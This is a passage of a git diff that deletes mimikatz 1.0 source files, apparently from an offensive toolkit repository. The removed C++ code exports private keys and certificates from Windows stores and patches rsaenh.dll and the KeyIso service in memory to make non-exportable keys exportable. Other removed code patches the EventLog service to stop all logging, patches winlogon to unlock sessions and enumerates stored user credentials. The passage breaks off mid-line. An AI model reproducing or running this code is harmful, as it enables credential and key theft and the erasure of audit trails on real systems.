L"\t\tTaille clé : " << param << endl; - - if(exportKeys) - { - bool reussite = false; - BYTE * monExport = NULL; - DWORD tailleExport = 0; - - wstringstream monBuff; - wstring containerName = *monContainer; - sanitizeFileName(&containerName); - - monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; - - if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) - { - reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); - delete[] monExport; - } - - (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; - } - } - } - } - - if(maCle) - CryptDestroyKey(maCle); - else - (*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl; - - - CryptReleaseContext(hCryptKeyProv, 0); - } - else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; - - /* CryptoNG */ - if(mod_cryptong::isNcrypt) - { - (*outputStream) << endl; - monVectorKeys->clear(); - - (*outputStream) << L"[" << type << L"] Clés CNG :" << endl; - if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) - { - DWORD i; - vector::iterator monContainer; - for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) - { - (*outputStream) << L"\t - " << *monContainer << endl; - - NCRYPT_KEY_HANDLE maCle; - if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) - { - bool exportable = false; - DWORD size = 0; - - if(mod_cryptong::isKeyExportable(&maCle, &exportable)) - (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; - if(mod_cryptong::getKeySize(&maCle, &size)) - (*outputStream) << L"\t\tTaille clé : " << size << endl; - - if(exportKeys) - { - bool reussite = false; - BYTE * monExport = NULL; - DWORD tailleExport = 0; - - wstringstream monBuff; - monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; - - if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) - { - reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); - delete[] monExport; - } - - (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; - } - } - mod_cryptong::NCryptFreeObject(maCle); - } - } - } - else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; - } - - delete monVectorKeys; -} - - -void mod_mimikatz_crypto::listAndOrExportCertificates(vector * arguments, bool exportCert) -{ - wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; - wstring monStore = L"My"; - - if(arguments->size() == 1) - { - monEmplacement = arguments->front(); - } - else if(arguments->size() == 2) - { - monEmplacement = arguments->front(); - monStore = arguments->back(); - } - - (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; - - DWORD systemStore; - if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) - { - (*outputStream) << L"\\" << monStore << endl; - if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) - { - DWORD i; - PCCERT_CONTEXT pCertContext; - for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) - { - wstring * certName = new wstring(); - bool reussite = false; - - if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) - certName->assign(L"[empty]"); - - (*outputStream) << L"\t - " << *certName << endl;; - sanitizeFileName(certName); - - wstringstream monBuff; - monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; - - mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; - if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) - { - (*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl; - (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; - - HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; - DWORD keySpec = 0; - BOOL aFermer = false; - - if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) - { - (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl; - - DWORD size = 0; - bool exportable = false; - - if(keySpec == CERT_NCRYPT_KEY_SPEC) - { - if(mod_cryptong::isNcrypt) - { - reussite = mod_cryptong::getKeySize(&monProv, &size); - reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); - - if(aFermer) - { - mod_cryptong::NCryptFreeObject(monProv); - } - } - else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl; - } - else - { - DWORD tailleEcrite = 0; - DWORD exportability; - - HCRYPTKEY maCle = NULL; - if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) - { - tailleEcrite = sizeof(DWORD); - reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(&size), &tailleEcrite, NULL) != 0); - tailleEcrite = sizeof(DWORD); - reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(&exportability), &tailleEcrite, NULL) != 0); - exportable = (exportability & CRYPT_EXPORT) != 0; - } - - if(aFermer) - { - CryptReleaseContext(monProv, 0); - } - } - if(reussite) - { - (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; - (*outputStream) << L"\t\tTaille clé : " << size << endl; - } - - if(exportCert) - { - wstring PFXFile = monBuff.str(); - PFXFile.append(L"pfx"); - - reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); - - (*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; - } - } - } - else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; - } - - if(exportCert) - { - wstring DERFile = monBuff.str(); - DERFile.append(L"der"); - - reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); - - (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; - } - } - delete certName; - } - CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); - } - else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L" introuvable !" << endl; -} - - -bool mod_mimikatz_crypto::patchcapi(vector * arguments) -{ - wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; - char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; -#ifdef _M_X64 - BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; - BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; - BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; - LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; - - BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; - BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; - LONG OFFS_W6AL_CPExportKey_EXPORT = 5; - LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; -#elif defined _M_IX86 - BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; - BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; - BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; - LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; - - BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; - LONG OFFS_WI60_CPExportKey_EXPORT = 3; - LONG OFFS_WIN6_CPExportKey_EXPORT = 5; -#endif - - PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; - PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); - pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); - patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); - offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; - offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; - } - else - { -#ifdef _M_X64 - pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); - patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); - offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); - offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; - } - else - { - pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); - offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; - } -#elif defined _M_IX86 - patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); - pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); - offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; - } - else - { - pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); - pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); - offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; - } -#endif - } - - if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) - { - if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) && - mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) - { - (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl << - L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << - L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; - } - FreeLibrary(hRSA); - } - return true; -} - -bool mod_mimikatz_crypto::patchcng(vector * arguments) -{ - wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; - wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll"; -#ifdef _M_X64 - BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; - BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; - BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; - - BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; - BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; - BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; -#elif defined _M_IX86 - BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; - BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; - - BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; - BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; -#endif - BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; - - if(mod_cryptong::isNcrypt) - { - if(mod_cryptong::justInitCNG()) - { - wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; - - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - pattern = PTRN_WI60_SPCryptExportKey; - taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); - } - else - { -#endif - pattern = PTRN_WNO8_SPCryptExportKey; - taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); -#ifdef _M_X64 - } -#endif - libName = LIBNAME_WNO8_NCrypt; - } - else - { - pattern = PTRN_WIN8_SPCryptExportKey; - taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); - libName = LIBNAME_WIN8_NCrypt; - } - - if(arguments->empty()) - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - patch = PATC_WI60_SPCryptExportKey_EXPORT; - taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); - } - else - { -#endif - patch = PATC_WALL_SPCryptExportKey_EXPORT; - taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); -#ifdef _M_X64 - } -#endif - } - else - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - patch = PATC_WI60_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); - } - else - { - patch = PATC_WALL_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); - } -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); - } - else - { - patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); - } -#endif - } - offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; - - mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); - } - else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Pas de CNG ?" << endl; - - return true; -} - -void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) -{ - wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; - for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) - { - for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) - { - if(*monIterateur == monTab[i]) - { - *monIterateur = L'~'; - break; - } - } - } -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h deleted file mode 100644 index 7d81c07..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h +++ /dev/null @@ -1,36 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_cryptoapi.h" -#include "mod_cryptong.h" -#include "mod_crypto.h" -#include "mod_process.h" -#include "mod_patch.h" -#include -#include - -class mod_mimikatz_crypto -{ -private: - static void sanitizeFileName(wstring * fileName); - static void listAndOrExportCertificates(vector * arguments, bool exportCert = false); - static void listAndOrExportKeys(vector * arguments, bool exportKeys = false); -public: - static vector getMimiKatzCommands(); - - static bool listProviders(vector * arguments); - static bool listStores(vector * arguments); - static bool listKeys(vector * arguments); - static bool listCertificates(vector * arguments); - - static bool exportCertificates(vector * arguments); - static bool exportKeys(vector * arguments); - - static bool patchcapi(vector * arguments); - static bool patchcng(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp deleted file mode 100644 index 019644d..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp +++ /dev/null @@ -1,306 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_divers.h" - -vector mod_mimikatz_divers::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)")); - return monVector; -} - -bool mod_mimikatz_divers::nodetour(vector * arguments) -{ - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_2003_____x64); - mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); - mesOS.push_back(mod_patch::WINDOWS_2008_____x64); - mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); - mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); - - if(mod_patch::checkVersion(&mesOS)) - { - BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; - BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; - - PBYTE monNTDLLptr = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); - if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) - { - (*outputStream) << L"Détour trouvé et "; - if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) - (*outputStream) << L"patché :)"; - else - (*outputStream) << L"NON patché :("; - (*outputStream) << endl; - } - else - (*outputStream) << L"Détour non trouvé" << endl; - } - return true; -} - - -bool mod_mimikatz_divers::cancelator(vector * arguments) -{ - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); - mesOS.push_back(mod_patch::WINDOWS_2003_____x86); - - if(mod_patch::checkVersion(&mesOS)) - { - BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; - BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; - long offsetCibleNOP = 3; - - vector * mesProcesses = new vector(); - wstring processName = L"winlogon.exe"; - - if(mod_process::getList(mesProcesses, &processName)) - { - for(vector::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) - { - mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); - } - } - - delete mesProcesses; - } - return true; -} - - -bool mod_mimikatz_divers::noroutemon(vector * arguments) -{ - //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 - BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 - BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; - - mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); - return true; -} - -bool mod_mimikatz_divers::eventdrop(vector * arguments) -{ - wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; - wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; -#ifdef _M_X64 - BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; - LONG OFFS_WNT5_PerformWriteRequest = -10; - BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; - - BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; - LONG OFFS_WN60_Channel__ActualProcessEvent = 0; - BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; - LONG OFFS_WN62_Channel__ActualProcessEvent = 0; - - BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; -#elif defined _M_IX86 - BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; - LONG OFFS_WNT5_PerformWriteRequest = -20; - BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; - - BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; - LONG OFFS_WN60_Channel__ActualProcessEvent = 0; - BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; - LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); - BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; - LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); - - BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; - BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; -#endif - - BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; - BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; - LONG OFFS_PATC_Process = 0; - wstring libEvent; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - libEvent.assign(LIBNAME_WNT5_EVTLOG); - PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); - PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); - OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; - } - else - { - libEvent.assign(LIBNAME_WNT6_EVTLOG); - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; -#ifdef _M_X64 - } -#elif defined _M_IX86 - PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); - } - else if(mod_system::GLOB_Version.dwMinorVersion < 2) - { - PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; - PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); - } -#endif - else - { - PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; -#ifdef _M_IX86 - PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); -#endif - } - -#ifdef _M_X64 - PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); -#endif - } - - mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); - - return true; -} - -bool mod_mimikatz_divers::secrets(vector * arguments) -{ - DWORD credNb = 0; - PCREDENTIAL * pCredential = NULL; - DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); - - if(CredEnumerate(NULL, flags, &credNb, &pCredential)) - { - (*outputStream) << L"Nombre de secrets : " << credNb << endl; - - for(DWORD i = 0; i < credNb; i++) - { - wstring type; - bool isCertificate = false; - switch(pCredential[i]->Type) - { - case CRED_TYPE_GENERIC: - type.assign(L"GENERIC"); - break; - case CRED_TYPE_DOMAIN_PASSWORD: - type.assign(L"DOMAIN_PASSWORD"); - break; - case CRED_TYPE_DOMAIN_CERTIFICATE: - type.assign(L"DOMAIN_CERTIFICATE"); - isCertificate = true; - break; - case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: - type.assign(L"DOMAIN_VISIBLE_PASSWORD"); - break; - case CRED_TYPE_GENERIC_CERTIFICATE: - type.assign(L"GENERIC_CERTIFICAT"); - isCertificate = true; - break; - case CRED_TYPE_DOMAIN_EXTENDED: - type.assign(L"DOMAIN_EXTENDED"); - break; - default: - type.assign(L"?"); - } - - (*outputStream) << - L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : 